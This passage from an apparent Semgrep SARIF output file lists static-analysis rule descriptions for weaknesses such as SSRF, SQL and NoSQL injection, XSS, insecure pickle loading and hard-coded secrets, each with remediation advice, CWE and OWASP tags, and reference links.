[https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf.tainted-ssrf","id":"java.servlets.security.tainted-ssrf.tainted-ssrf","name":"java.servlets.security.tainted-ssrf.tainted-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf.tainted-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate()."},"help":{"markdown":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess2)\n","text":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess2","id":"python.lang.compatibility.python37.python37-compatibility-multiprocess2","name":"python.lang.compatibility.python37.python37-compatibility-multiprocess2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-multiprocess2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues."},"help":{"markdown":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-session.tainted-session)\n - [https://en.wikipedia.org/wiki/Session_poisoning](https://en.wikipedia.org/wiki/Session_poisoning)\n","text":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-session.tainted-session","id":"php.lang.security.injection.tainted-session.tainted-session","name":"php.lang.security.injection.tainted-session.tainted-session","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-session.tainted-session"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-pytorch.pickles-in-pytorch)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","id":"trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","name":"trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-pytorch.pickles-in-pytorch"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","id":"java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","name":"java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference"},"help":{"markdown":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable)\n - [https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/](https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/)\n","text":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference"},"helpUri":"https://semgrep.dev/r/trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","id":"trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","name":"trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","properties":{"precision":"very-high","tags":["CWE-665: Improper Initialization","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy."},"help":{"markdown":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md)\n","text":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","id":"generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","name":"generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","id":"python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","name":"python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.el-injection.el-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.el-injection.el-injection","id":"java.lang.security.audit.el-injection.el-injection","name":"java.lang.security.audit.el-injection.el-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.el-injection.el-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.rocket.nosql.mongodb-taint.mongodb-taint","id":"rust.rocket.nosql.mongodb-taint.mongodb-taint","name":"rust.rocket.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string","id":"java.spring.security.injection.tainted-html-string.tainted-html-string","name":"java.spring.security.injection.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","id":"python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","name":"python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","id":"java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","name":"java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.pg.express-pg-sqli.express-pg-sqli)\n - [https://www.npmjs.com/package/pg](https://www.npmjs.com/package/pg)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.pg.express-pg-sqli.express-pg-sqli","id":"javascript.express.pg.express-pg-sqli.express-pg-sqli","name":"javascript.express.pg.express-pg-sqli.express-pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.pg.express-pg-sqli.express-pg-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","id":"python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","name":"python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"help":{"markdown":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.context-autoescape-off.context-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/settings/#templates](https://docs.djangoproject.com/en/3.1/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates)\n","text":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","id":"python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","name":"python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.context-autoescape-off.context-autoescape-off"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy."},"help":{"markdown":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate)\n - [https://forum.balancer.fi/t/reentrancy-vulnerability-scope-expanded/4345](https://forum.balancer.fi/t/reentrancy-vulnerability-scope-expanded/4345)\n","text":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","id":"solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","name":"solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality."},"help":{"markdown":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","id":"yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","name":"yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","properties":{"precision":"very-high","tags":["CWE-406: Insufficient Control of Network Message Volume (Network Amplification)","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","id":"python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","name":"python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","id":"javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","name":"javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Conditions for Nginx 